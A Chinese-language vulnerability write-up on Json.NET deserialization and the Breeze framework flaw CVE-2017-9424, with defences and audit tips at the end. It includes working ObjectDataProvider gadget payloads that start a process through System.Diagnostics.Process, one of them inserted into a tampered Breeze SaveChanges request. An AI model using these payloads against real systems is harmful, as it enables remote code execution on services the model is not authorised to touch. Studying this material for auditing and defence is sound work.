.net反序列化之Json.Net及breeze CVE-2017-9424
字数 1238 2025-08-05 08:18:57
JSON.NET 反序列化漏洞分析与利用 (CVE-2017-9424)
1. JSON.NET 简介
JSON.NET (Newtonsoft.Json) 是一个高性能的 .NET JSON 框架,虽然不是官方库,但在 .NET 生态中广泛使用。它提供了两种主要的序列化/反序列化方式:
- JsonConvert - 静态工具类
- JsonSerializer - 实例化方式
2. 关键安全配置:TypeNameHandling
JSON.NET 的 TypeNameHandling 设置是安全问题的核心,它有以下几个枚举值:
- None (默认值) - 不包含类型信息
- Objects - 当类型为.NET对象时包含类型信息
- Arrays - 当类型为数组时包含类型信息
- All - 总是包含类型信息
- Auto - 根据情况自动决定
当设置为非 None 值时,JSON 中会包含 $type 字段,如:
{
"$type": "Json.NetSerializer.Person, Json.NetSerializer",
"Name": "jack"
}
3. 漏洞原理
当 TypeNameHandling 设置为非 None 值时,攻击者可以构造恶意 JSON 指定任意类型,导致反序列化时实例化危险对象。
3.1 攻击链:ObjectDataProvider
利用 ObjectDataProvider 包装 Process 类实现 RCE:
{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["cmd", "/c calc"]
},
"ObjectInstance": {
"$type":"System.Diagnostics.Process, System"
}
}
3.2 漏洞触发条件
以下两种方式都会触发漏洞:
- 使用 JsonConvert:
JsonConvert.DeserializeObject(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All
});
- 使用 JsonSerializer:
JsonSerializer jsonSerializer = JsonSerializer.CreateDefault();
jsonSerializer.TypeNameHandling = TypeNameHandling.All;
jsonSerializer.Deserialize(reader);
4. 实际案例:Breeze CVE-2017-9424
4.1 漏洞位置
在 Breeze 框架的 Breeze.ContextProvider.BreezeConfig.CreateJsonSerializerSettings 方法中设置了:
TypeNameHandling = TypeNameHandling.Objects
4.2 利用方式
通过修改 SaveChanges 请求中的 saveOptions 字段实现攻击:
原始请求:
{
"entities": [...],
"saveOptions": {}
}
恶意请求:
{
"entities": [...],
"saveOptions": {
"Tag": {
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
},
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["calc"]
},
"MethodName": "Start"
}
}
}
5. 防御措施
- 设置 TypeNameHandling 为 None (默认值)
- 使用 SerializationBinder 限制反序列化的类型
- 验证输入来源,不信任外部输入的 JSON
- 更新到安全版本,修复已知漏洞
6. 审计要点
- 检查代码中
TypeNameHandling的设置是否为None - 查找
JsonConvert.DeserializeObject和JsonSerializer.Deserialize的调用 - 检查是否使用了
SerializationBinder进行类型限制
7. 总结
JSON.NET 反序列化漏洞的核心在于 TypeNameHandling 的不当配置,使得攻击者能够控制反序列化的类型。开发人员应避免使用非 None 的 TypeNameHandling 值,或配合 SerializationBinder 进行类型限制。